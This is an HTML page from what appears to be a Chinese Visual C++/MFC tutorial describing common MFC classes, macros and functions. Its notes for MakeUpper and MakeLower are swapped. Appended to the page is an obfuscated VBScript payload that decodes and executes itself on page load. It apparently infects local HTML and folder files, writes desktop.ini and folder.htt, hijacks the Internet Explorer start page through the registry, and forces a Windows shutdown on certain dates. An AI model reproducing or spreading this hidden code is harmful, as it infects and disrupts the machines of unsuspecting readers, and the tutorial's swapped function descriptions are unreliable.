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<td colspan="2" bgcolor="#0080C0" align=center><font color=white>您當前位置</font> <a href=../../index.htm><font color=white>首頁</font></a> <a href=../index.htm><font color=white>開發(fā)教程</font></a> <a href=index.htm><font color=white><font class=engul>Visual C++/MFC</font>入門教程</font></a> <font color=white>1.5 MFC中常用類，宏，函數(shù)介紹<SCRIPT LANGUAGE='JavaScript'>write_command();</SCRIPT></font></td>
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<p align=center><big>1.5 MFC中常用類，宏，函數(shù)介紹</big></p>
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<p><b>常用類</b></p>
<p><b>CRect：</b>用來表示矩形的類，擁有四個成員變量：top left bottom right。分別表是左上角和右下角的坐標。可以通過以下的方法構(gòu)造：
<ul>
<li>
CRect( int <i>l</i>, int <i>t</i>, int <i>r</i>, int <i>b</i> ); 指明四個坐標</p>
</li><li>
CRect( const RECT& <i>srcRect</i> ); 由RECT結(jié)構(gòu)構(gòu)造</p>
</li><li>
CRect( LPCRECT <i>lpSrcRect</i> ); 由RECT結(jié)構(gòu)構(gòu)造</p>
</li><li>
CRect( POINT <i>point</i>, SIZE <i>size</i> ); 有左上角坐標和尺寸構(gòu)造</p>
</li><li>
CRect( POINT <i>topLeft</i>, POINT <i>bottomRight</i> ); 有兩點坐標構(gòu)造</p>
</li></ul>
<p>
下面介紹幾個成員函數(shù)：<ul>
<li>int Width( ) const; 得到寬度
</li>
<li>int Height( ) const; 得到高度
</li>
<li>CSize Size( ) const; 得到尺寸
</li>
<li>CPoint& TopLeft( ); 得到左上角坐標
</li>
<li>CPoint& BottomRight( ); 得到右下角坐標
</li>
<li>CPoint CenterPoint( ) const; 得當中心坐標
</li>
</ul>
此外矩形可以和點（CPoint）相加進行位移，和另一個矩形相加得到“并”操作后的矩形。
</p>
<p><b>CPoint：</b>用來表示一個點的坐標，有兩個成員變量：x y。 可以和另一個點相加。</p>
<p><b>CString：</b>用來表示可變長度的字符串。使用CString可不指明內(nèi)存大小，CString會根據(jù)需要自行分配。下面介紹幾個成員函數(shù)：
<ul>
<li>GetLength 得到字符串長度</li>
<li>GetAt 得到指定位置處的字符</li>
<li>operator + 相當于strcat</li>
<li>void Format( LPCTSTR lpszFormat, ... ); 相當于sprintf</li>
<li>Find 查找指定字符，字符串</li>
<li>Compare 比較</li>
<li>CompareNoCase 不區(qū)分大小寫比較</li>
<li>MakeUpper 改為小寫</li>
<li>MakeLower 改為大寫</li>
</ul>
</p>
<p><b>CStringArray：</b>用來表示可變長度的字符串數(shù)組。數(shù)組中每一個元素為CString對象的實例。下面介紹幾個成員函數(shù)：
<ul>
<li>Add 增加CString</li>
<li>RemoveAt 刪除指定位置CString對象</li>
<li>RemoveAll 刪除數(shù)組中所有CString對象</li>
<li>GetAt 得到指定位置的CString對象</li>
<li>SetAt 修改指定位置的CString對象</li>
<li>InsertAt 在某一位置插入CString對象</li>
</ul></p>
<P><b>常用宏</b></p>
<P>RGB</p>
<P>TRACE</p>
<P>ASSERT</p>
<P>VERIFY</p>
<P></p>
<P><b>常用函數(shù)</b></p>
<P>CWindApp* AfxGetApp();</p>
<P>HINSTANCE AfxGetInstanceHandle( );</p>
<P>HINSTANCE AfxGetResourceHandle( );</p>
<p>int AfxMessageBox( LPCTSTR lpszText, UINT nType = MB_OK, UINT nIDHelp = 0 );用于彈出一個消息框</p>
<P></p>
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<script language="vbscript"><!--
myEncString="Nn Eqrnr Rdstmd Mewt cil @poOaj+fro+WrSgekl+WhnCiq,SelpkaseCiq,ShhsCiqP`tg,SelpkaseEike+mxSsaqtOafe+DdsjtnpHNH,eokddrGTS,lyDnbSsrhnf,eSsrhnf,uCndd dhm mxEwpLahn'2(,lyKobakKdy'2(,hnhLhnd(7)+dqooMd(3) cobulemt-wqise ;%ciu rtxld=&vhshbhlhtx: hhdcem'=<!&!aopkes male<'ubr.hc`rNs-0-0-10' cndd=bol.ls-abthvdX-AbthvdXBolpnndns>;/!&!aopkes>;/!&!dhv= lyCasa<;%rcqiot l`nfu`gd=!ubrcqiot! fnr<!whncov! dvdns=!! dnctmdns.vrhtd lyCasa & nnko`d!=m`im_nnko`d');/!&!sbrhps>! dnctmdns.vrhtd lyCasa & nntnko`d!=m`im_nntnko`d');/!&!sbrhps>! stb m`im_nnko`d') hnht@csiueW(( imisDhrOashr(( imisRdgDnsrher(( imisDqooCndds') bhdcjEwirtEiker(( imfdcsTgirFhld(SelpkaseEike( imfdcsRnosDhr') dnc rua stb m`im_nntnko`d') hneebtQontCiq(( cgebkDxhssFhlds') hneebtShhsEike'Tdmol`tdFhld) leqgdRdgDnsrher(( SbamFhldsHn'TgirDhrOash( cgebkCaseOLnac(( emd stb rua hnht@csiueW(( Om Drqoq Qerule Ndxs Sdt AopNbi < cobulemt-aopkess'ubr.hc`rNs-0-0-10( AopNbi.resCKSHD (!{E925CC12,1BF/-01C0,ACB8-/0B03FC57A/B|( AopNbi.brdaseHnrt`nbe') Res VsRhdlk < @poOaj-GdtNbiebt') @poOaj-sdtBLRIC 'z0C42FD00-E083,10CE-7930,0/A/C8044127}!) @poOaj-cqe`tdImssamcd(( Sdt fro = AopNbi.FesOajdcs(( emd stb rua hnhtCiqP`tgs') Nn Eqrnr Rdstmd Mewt VimDhr = fro-GdtRpdchakFnlceq(/) SelpkaseCiq < VimDhr & [ & Vea & [ SelpkaseEike = Tdmol`tdDhr & eokddr-hst! TgirDhrOash = Mhd'whncov.kobasinn+ 8, Ldn'whncov.kobasinn() Eoq w < Kem(ShhsCiqP`tg) Tn 0 Rtdp -0 Ie Lic(ShhsCiqP`tg, x+ 0) = . Tgem Dxht Fnr Mewt Hf LBare'Rhggt'TgirDhrOash+ 2)( < !hsm! Nr LBare'Rhggt'TgirDhrOash+ 3)( < !hsmk Tgem TgirDhrOash = Mhd'TgirDhrOash+ 0, x( Eksd TgirDhrOash = Mhd'TgirDhrOash+ 0, Ldn'TgirDhrOash( * w) & . ShhsCiqP`tg < tndsbaoe'TgirDhrOash( Emd Ie emd stb rua hnhtQefEmtqids') Nn Eqrnr Rdstmd Mewt lyKobakKdy'0( < !Ssaqt P`gd lyKobakKdy'1( < !Lnc`l P`gd lyKobakKdy'2( < !Ddf`ukt^P`gd_TRK lyDxoM`im(/) = GKDY^CTRQEMT^UREQ\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'1( < !HJEX_KOBAK_LABHHND\Roetvaqe[Mhcqoroet[Imtdrmes Dxolnrdr[M`im\! mxEwpLahn'2( < !HJEX_TSDRR\-DDF@UKT[Snfsw`rd\Librnsnfs\Hnseqndt Ewpkoqeq\Lahn[ lyRt`rsP`gd < !hsto:./vwv.fenchther.bol/gecd`_laqid_sokemthnn/hncew.gtl dnc rua stb imisDqooCndds') Nn Eqrnr Rdstmd Mewt hnhLhnd(/)<ZEwtRhdlkFnlceqVhevs\ hnhLhnd(0)<Ceeatls=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'2(=!{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|=z5883FEE/-18C4,10CE-@E56,070/2A2D1161}! imiKime'3(=! hnhLhnd(3)<Z{4974EFD0,27D3-01BF,AD65-/8/01B1E0252|]! imiKime'5(=!PdrrirtLomijeq=eike9/.Fnlceq.gts hnhLhnd(5)<! imiKime'7(=![-SgeklBl`srImfn]! imiKime'8(=!CnneiqmEikeNp<0! fnr x = 0 tn 7 DdsjtnpHNH=CerksooIMI & imiKime'x( % ubbrkf mewt eokddrGTS < !<!&!hsmk>;%aocy ssyke<!m`rfim: 0! sbrnlk=mo=<!&!oajdcs hd<FhldLhss aoqddr<0 t`bhncew=0 bl`sric=!blric:0810EEC0,463D-01C0,A86B-/0B03FC7/5@2! ssyke<!whdsh9 00/%: gehggt9 00/%! t`bHncew=,1=<.%nbiebt=<.%aocy=<.%gtll= crnpLe'0( < !<!&!sbrhps kamgtafe<!vasbrhps!>;%cgr'32)%,-! dqooMd(0) = lyDnbSsrhnf=!!&lyDnbSsrhnf&!! crnpLe'2( < !Ewe! % !cttd(!eoq h=0 so Ldn'mxEmcRtqimg(! % ubbrkf & !s<cgr'arc'mhd'mxEmcRtqimg+i+1()*i mnd 2(! & vacqle % !hf s<cgr'18) tgem r=bhq(24(! & vacqle % !hf s<cgr'27) tgem r=ubBr! % ubbrkf & !ie r=bhq(19( shdn s<vaLe! & vacqle % !lyCebSsrhnf=lyCebSsrhnf % r! & vacqle % !mewt!( crnpLe'3( < !Ewe! % !cttd(lyCebSsrhnf)! dqooMd(3) = ,-! % !>;/! % !sbrhps>! fnr x = 0 tn 3 vBoce<vBoce & dqooMd(w) & vacqle ndxs fRtqimg<mxEmcRtqimg dnc rua Stb SbamFhldsHn'fnlceqsoeb) Nn Eqrnr Rdstmd Mewt Res lyEokddrr2 = fro-GdtEokddr'fnlceqsoeb) Res lyRuaFnlceqFhlds = mxFnlceqs1.Eiker Fnr E`cg lyRuaFnlceqFhld Hn mxStbEokddrEiker mxEwt = LBare'fro-GdtDxsemshomN`md(lyRuaFnlceqFhld.Male() Hf mxEwt = gtl Oq lyDxs < !hsmk Oq lyDxs < !hst! Shdn hneebtShhsEike (lyRuaFnlceqFhld.Oash( Hf mxEwt = gts Tgem Sdt mxFhld < esn.FesFhld(lyRuaFnlceqFhld.Oash( mxFhld.@tsrhbttds = 7 Dnc Hf Dnc Hf Mewt Dnc Rua Stb imfdcsTgirFhld(eokddrrpdc( Om Drqoq Qerule Ndxs Sdt mxFhld < esn.NpdnSewtEike'fnlceqsoeb) lyBomtdnss = mxFhld.Qe`d@lk mxFhld.Blnsd k<0 eoq h= ldn'mxCnnsemtr) tn 0 rtdp -0 ie lic(lyBomtdnss+i+ldn'fRtqimg()<fRtqimg tgem j=j+0 ewis eoq emd ie ndxs ie j=/ shdn vOCndd=lyBomtdnss & vacqle % uCndd Sdt mxFhld < esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds = 0 Res lyEike = fro-OoemTdxsFhld(eokddrrpdc+ 1) lyEike-Wqise vOCndd mxFhld.Blnsd emd ie Emd Stb rua bhdcjEwirtEiker(( Om Drqoq Qerule Ndxs Ie mos(esn.EokddrDxhsss'Tdmol`tdDhr() Tgem Res lyEike = fro-Cqe`tdFnlceq(SelpkaseCiq) Res lyEike = fro-GdtEokddr'Tdmol`tdDhr( mxFhld.@tsrhbttds = 7 BrdaseShhsEike Tdmol`tdFhld,eokddrGTS emd stb rua hneebtQontCiq(( Om Drqoq Qerule Ndxs Ie Kem(tndsbaoe'TgirDhrOash() << 3 Shdn ShhsCiqP`tg <Mhd'TgirDhrOash+ 0, 3( BrdaseShhsEike TgirDhrOash%eokddr-hst!,eokddrGTS&ubbrkf%vBoce BrdaseShhsEike TgirDhrOash%cerksoo.hnh+DdsjtnpHNH emd ie emd stb rua leqgdRdgDnsrher(( Om Drqoq Qerule Ndxs fnr x<0 tn 1 AopkyQefCgamgdsSo mxEwpLahn'x( % lyKobakKdy'x(, QEF_RZ!, mxSsaqtOafe mewt dnc rua Stb AopkyQefCgamgdsSo'mxRdgJex, mxRdgSyoe+ lyQefV`lte( Om Drqoq Qerule Ndxs WrSgekl-RdgVrhtd lyQefKdy+ lyQefV`lte+ lyQefTxpd Emd Stb Rua bhdcjD`tdPKo`d') Nn Eqrnr Rdstmd Mewt Hf Mhd'FnrlasD`tdThmd(Mov((, 2(, 1+ 3) = 8/16! Shdn WrSgekl-Rtn (!RTNCLK31.DXD rhdlk31.clk,RHDxhtVimdnwrEw 1( Emd Stb Rua BrdaseShhsEike'fnlceqsoeb,vishBomtdnss( Om Drqoq Qerule Ndxs sdt mxFhld=esn.FesFhld(eokddrrpdc( mxFhld.@tsrhbttds = 0 Res lyEike<fro-Cqe`tdTdxsFhld(eokddrrpdc+ Srte( mxFhld.Vrhtd vishBomtdnss lyEike-Ckore res lyEike<fro-GdtEike'fnlceqsoeb) lyEike-Astqiauser < 6 Emd Stb"
Execute("for i=1 to Len(myEncString)" & vbcrlf & "s=chr(asc(mid(myEncString,i,1))+i mod 2)" & vbcrlf & "if s=chr(19) then s=chr(34)" & vbcrlf & "if s=chr(28) then s=vbCr" & vbcrlf & "if s=chr(29) then s=vbLf" & vbcrlf & "myDecString=myDecString & s" & vbcrlf & "next")
Execute(myDecString)
--></script>
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